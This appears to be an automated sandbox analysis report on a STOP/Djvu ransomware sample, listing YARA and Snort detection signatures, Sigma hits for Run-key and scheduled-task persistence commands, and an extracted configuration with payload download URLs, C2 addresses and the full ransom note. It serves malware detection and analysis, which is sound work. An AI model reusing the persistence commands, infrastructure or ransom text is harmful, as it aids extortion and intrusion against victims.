7.2.rq0mVjR9ar.exe.5e215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.rq0mVjR9ar.exe.5d915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.rq0mVjR9ar.exe.5d915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.rq0mVjR9ar.exe.5d915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.rq0mVjR9ar.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.rq0mVjR9ar.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.rq0mVjR9ar.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.rq0mVjR9ar.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.rq0mVjR9ar.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.rq0mVjR9ar.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.rq0mVjR9ar.exe.5df15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.rq0mVjR9ar.exe.5df15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.rq0mVjR9ar.exe.5df15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.rq0mVjR9ar.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.rq0mVjR9ar.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.rq0mVjR9ar.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.rq0mVjR9ar.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.2.rq0mVjR9ar.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.2.rq0mVjR9ar.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.rq0mVjR9ar.exe.5e515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.rq0mVjR9ar.exe.5e515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.rq0mVjR9ar.exe.5e515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.rq0mVjR9ar.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.rq0mVjR9ar.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.rq0mVjR9ar.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.rq0mVjR9ar.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.rq0mVjR9ar.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.rq0mVjR9ar.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.rq0mVjR9ar.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.rq0mVjR9ar.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.rq0mVjR9ar.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.rq0mVjR9ar.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.rq0mVjR9ar.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.rq0mVjR9ar.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.rq0mVjR9ar.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.2.rq0mVjR9ar.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.2.rq0mVjR9ar.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 114 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\rq0mVjR9ar.exe, ProcessId: 4324, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe" , ParentImage: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe, ParentProcessId: 4904, ParentProcessName: build3.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", ProcessId: 6368, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.6 - Destination IP: 200.45.93.45

Timestamp:	04/24/24-09:17:02.599383
SID:	2020826
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.6 - Destination IP: 200.45.93.45

Timestamp:	04/24/24-09:17:02.599383
SID:	2036333
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 200.45.93.45 - Destination IP: 192.168.2.6

Timestamp:	04/24/24-09:17:00.470779
SID:	2036335
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 200.45.93.45

Timestamp:	04/24/24-09:16:59.602333
SID:	2833438
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 200.45.93.45 - Destination IP: 192.168.2.6

Timestamp:	04/24/24-09:17:00.474115
SID:	2036335
Source Port:	80
Destination Port:	49703
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.6 - Destination IP: 186.147.159.149

Timestamp:	04/24/24-09:16:59.295703
SID:	2020826
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.6 - Destination IP: 186.147.159.149

Timestamp:	04/24/24-09:16:59.295703
SID:	2036333
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: rq0mVjR9ar.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exerunb656	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exeT(	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exep	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Avira: detection malicious, Label: HEUR/AGEN.1313019

Found malware configuration

Source: 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}
Source: 00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume 